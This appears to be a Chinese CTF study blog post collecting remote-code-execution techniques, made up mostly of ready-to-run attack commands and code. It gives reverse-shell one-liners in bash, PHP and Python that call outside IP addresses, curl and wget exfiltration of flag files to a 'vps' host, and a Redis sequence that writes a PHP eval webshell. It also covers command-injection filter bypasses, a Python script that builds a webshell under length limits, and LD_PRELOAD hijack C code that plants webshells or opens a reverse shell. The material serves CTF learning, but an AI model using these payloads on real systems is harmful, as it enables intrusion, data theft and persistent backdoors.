RCE合集

对于 CTF,RCE显然是绕不开的话题,但是个人总感觉 RCE 中个别 bypass 和命令有些模糊,遂写一下 RCE 合集,以供自己学习记录和他人参考。

本文虽然叫 RCE 合集,但是不局限于 RCE,而是扩展到一些有趣的东西,供大家参考。

本文将从下面来讨论:

  • 一些 RCE 命令
  • RCE bypass trick
  • 常见的 RCE 绕过场景
  • 杂项

整理不周,仅供参考。

一些 RCE 命令

bash Fuck:BashFuck Payload Generator

反弹shell

反弹Shell,看这一篇就够了-先知社区

java

Java反弹shell小记(个人学习记录) - yunying - 博客园

1
bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzEyMy41Ny4xMDcuMzMvMTMzNyAwPiYx}|{base64,-d}|{bash,-i}

bash

1
bash -c 'bash -i >& /dev/tcp/123.57.107.33/1337 0>&1'

php

1
php -r '$sock=fsockopen("47.xxx.xxx.72",2333);exec("/bin/sh -i <&3 >&3 2>&3");'

python

1
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("47.xxx.xxx.72",2333));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

查找文件

1
2
find / -name "flag*" 2>/dev/null #查找文件名为 flag*
find . 2>/dev/null | xargs grep flag\{ 2>/dev/null #查找当前目录下文件内容含有 flag{ 的,不支持通配符

Shell盲注

1
2
3
[ "$(/readflag | cut -c 1)" = "f" ] && sleep 3

if [ "$(/readflag | cut -c 1)" = "f" ]; then sleep 8; else sleep 0; fi

awk

1
awk '{system("tac /f*")}' 1.php

sed

1
2
3
4
5
sed 'param=/esca/d;s/shell_exec/system/g;w 1.php' index.php
# 删除 匹配到 esca 的一行
# 全部替换 shell_exec 为 system
# 写到 1.php
# 操作的文件名是 index.php

curl

外带

哈?命令注入外带数据的姿势还可以这么骚?-腾讯云开发者社区-腾讯云

1
2
3
curl http://vps:1337/ -F xx=@/flag -X POST
curl${IFS}http://vps:1337/?`cat${IFS}/f*`
wget –post-file trophy.php http://vps:1337

写shell

1
curl -O 1.php http://vps/1.txt

数据库

mysql

1
mysql -u root -p123456 -e "use test;select * from user;"

redis

1
2
3
redis-cli -a admin123 KEYS "*" 
redis-cli -a admin123 GET "flag"
echo -e "AUTH 20220311\nCONFIG SET dir /var/www/html\nSET x '<?@eval(\$_POST[1]);?>'\nCONFIG SET dbfilename a.php\nSAVE" | redis-cli

RCE bypass trick

通配符

* 可以指代 0个或多个 任意字符,而 ? 表示一个字符的占位符。

1
2
cat /f*
cat /f???

正则

1
2
cat fla[f-h]
. /???/????????[@-[] #常见于 无数字字母system 上传临时文件,这里 [@-[] 表示大写字母的 ascii码的区间

分隔关键词

常见的分割但是可以等价的符号有:

1
2
3
4
ca''t
ca""t
ca\t
ca$@t

变量替换

字母变量替换

1
a=f&&b=lag&&c=ca&&d=t&&$c$d /$a$b

空格替换

1
2
3
4
<
$IFS
${IFS}
$IFS$9

inode号

1
2
ls -i /
cat `find / -inum 787511` # 这里用反引号引起来 表示用这个反引号执行后的结果代替

转进制

1
2
3
cat /$'\146\154\141\147' #flag的八进制,网页传要编码
cat /$'\x66\x6c\x61\x67' #flag的十六进制
$'\154\163' # ls

编码

1
echo "Y2F0IC9mKg==" | base64 -d | bash

读文件

不需要完整文件名

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
cat /f*
tac /f*
more /f*
less /f*
head /f*
tail /f*
nl /f*
sed p /f*
sort p /f*
uniq /f*
pr /f*
rev /f* #逆序输出
od -c /f*、
vim /f*
vi /f*
man /f*
paste /f*
grep { /f* #查找文件里符合条件的字符串
file -f /f*
diff /f* /etc/passwd
xxd /f*
cp /f* /dev/stdout

需要完整文件名

1
2
3
4
5
dd if=/flag
a=$(date -f /f* 2>&1);echo $a; #报错读取
a=$(. /f* 2>&1);echo $a; #报错读取
a=$(/f* 2>&1);echo $a; #报错读取
curl file:///flag

常见的 RCE 绕过场景

BashFuck Payload Generator

命令关键词被过滤

1
2
3
4
5
6
7
8
a=c;b=at;$a$b flag                    # 变量拼接
c''at flag # 单引号绕过
c""at flag # 双引号绕过
c\at flag # 反斜杠转义绕过
cat$u flag # 无用变量插入
l${b}s # 无用变量插入
`echo Y2F0|base64 -d` flag # base64 解码执行
echo "63617420666c6167" | xxd -r -p | bash # hex 执行

文件关键词被过滤

1
2
3
4
5
6
7
cat fla*                             # 通配符 * 匹配
cat f??? # 通配符 ? 匹配
cat flag$u # 插入无用变量
cat fl"a"g # 双引号字符串拼接
cat fl'a'g # 单引号字符串拼接
cat /[e-i][k-n][1-z][e-i] # 字符类通配符匹配(需实际路径存在)
php -r "echo chr(47).chr(102).chr(108).chr(97).chr(103).chr(10);system('cat '.chr(47).chr(102).chr(108).chr(97).chr(103));" # PHP chr 构造路径并执行

/ 被过滤

linux 中有很多变量,${PATH}、${HOME}、${SHELL}

截取用法:${var_name,start,length}

1
cat ${PATH:0:1}flag

空格被过滤

1
2
3
4
5
6
7
<
$IFS
${IFS}
$IFS$9
{cat,/flag}
%20
%09

无回显写文件/复制文件

1
2
3
cat /flag > /var/www/html/flag.txt
cat /flag | tee /var/www/html/flag.txt
cp /flag flag.txt

严格限制长度写文件构造shell

RCE篇之限制长度下的命令执行_51CTO博客_命令行参数长度限制

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
import requests
import time

url = "http://ff2d125b-85e0-4c9a-a5bb-ac6ff03890f5.challenge.ctf.show/"

payload = [
">hp",
">1.p\\",
">d\\>\\",
">\\ -\\",
">e64\\",
">bas\\",
">7\\|\\",
">XSk\\",
">Fsx\\",
">dFV\\",
">kX0\\",
">bCg\\",
">XZh\\",
">AgZ\\",
">waH\\",
">PD9\\",
">o\\ \\",
">ech\\",
"ls -t>0",
". 0"
]


def writeFile(payload):
data = {
"cmd": payload
}
requests.post(url, data=data)


def run():
for p in payload:
writeFile(p.strip())
print("[*] create " + p.strip())
time.sleep(1)


def check():
response = requests.get(url + "1.php")
if response.status_code == requests.codes.ok:
print("[*] Attack success!!!Webshell is " + url + "1.php")


def main():
run()
check()


if __name__ == '__main__':
main()

原理就是 > 创建文件,然后 \ 表示命令没结束,换行继续输入。

注意这里全部都需要转义,也就是特殊符号前还需要加一个 \

最后直接 ls -t > qwq 写一下就行。然后执行。如果用 dir 而不用 ls,就不用加 \,因为输出的结果不带换行。

*这个对权限有要求,如果需要的话还需要加一下 chmod 777

注入环境变量构造shell

我是如何利用环境变量注入执行任意命令 | 离别歌

  • Bash 4.4以前:env $'BASH_FUNC_echo()=() { id; }' bash -c "echo hello"
  • Bash 4.4及以上:env $'BASH_FUNC_echo%%=() { id; }' bash -c 'echo hello'
1
2
get[BASH_FUNC_echo%%]=() { cat /f*; }
parma[BASH_FUNC_echo()]=() { id; }

LD_PRELOAD劫持

LD_PRELOADLinux 系统中的一个环境变量,它可以影响程序的运行时的链接(Runtime linker),它允许你定义在程序运行前优先加载的动态链接库。其功能主要就是用来有选择性的载入不同动态链接库中的相同函数。通过这个环境变量,我们可以在主程序和其动态链接库的中间加载别的动态链接库,甚至覆盖正常的函数库。一方面,我们可以以此功能来使用自己的或是更好的函数(无需别人的源码),而另一方面,我们也可以以向别人的程序注入程序,从而达到特定的目的。

__attribute__ 是 GNU C 里一种特殊的语法,语法格式为:__**attribute__** ((attribute-list)),若函数被设定为constructor属性,则该函数会在main()函数执行之前被自动的执行。类似的,若函数被设定为destructor属性,则该函数会在main()函数执行之后或者exit()被调用后被自动的执行。

__**attribute__**((constructor)) 在加载共享库时就会运行。

编译指令:

1
gcc -shared -fPIC -o evil.so evil.c

设置环境变量时触发

在PHP中设置 LD_PRELOAD 环境变量,并且有一个能 fork 一个子进程(system())并触发加载共享库的函数被执行,那么就能执行任意代码。

虎符CTF2022赛后复现 - 枫のBlog

1
2
3
4
5
6
7
8
9
//eval.c

#include <stdio.h>
#include <unistd.h>
#include <stdio.h>
__attribute__ ((__constructor__)) void angel (void){
unsetenv("LD_PRELOAD");
system("echo \"<?php eval(\\$_POST[cmd]);?>\" > /var/www/html/shell.php");
}

初始化 so 触发

【Web】RCTF 2025 wp(随便看看-CSDN博客

只要 LD_PRELOAD 设置了该 .soinit() 就会在程序启动时自动调用。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

void payload() {
unsetenv("LD_PRELOAD");
system("bash -c \"bash -i >& /dev/tcp/8.138.38.81/1337 0>&1\"");
}

__attribute__((constructor))
void init() {
if (getenv("LD_PRELOAD") != NULL) {
payload();
}
}

劫持环境变量调用栈触发

【2022DASCTF X SU】 三月春季挑战赛 web复现_2022dasctf x su 三月春季挑战赛-CSDN博客

浅谈LD_PRELOAD劫持_ldpreload-CSDN博客

查看调用的底层C:

1
readelf -Ws /usr/bin/ls

image-20251208112813732

注意,参数名和参数类型必须正确。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

void payload() {
printf("hello i am haker!!!\n");
}

int strncmp(const char *__s1, const char *__s2, size_t __n) {
if (getenv("LD_PRELOAD") == NULL) { //这个函数在这里的作用是阻止该payload一直执行
return 0;
}
unsetenv("LD_PRELOAD");
payload();
}

image-20251208113456283

VNCTF 2024 Writeup - Kengwang 博客

这里用到了 whoami,劫持 geteuid

image-20251217141414848

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

void payload()
{
FILE* file = fopen("/var/www/html/flag.php", "w");
fputs("<?php eval($_POST[0]); ?>", file);
fclose(file);
file=NULL;
}

int geteuid()
{
if (getenv("LD_PRELOAD") == NULL)
{
return 0;
}
unsetenv("LD_PRELOAD");
payload();
}

杂项

bash 命令执行规则

1
2
3
4
5
;  #在 shell 中,是”连续指令”
& #不管第一条命令成功与否,都会执行第二条命令
&& #第一条命令成功,第二条才会执行
| #第一条命令的结果,作为第二条命令的输入
|| #第一条命令失败,第二条才会执行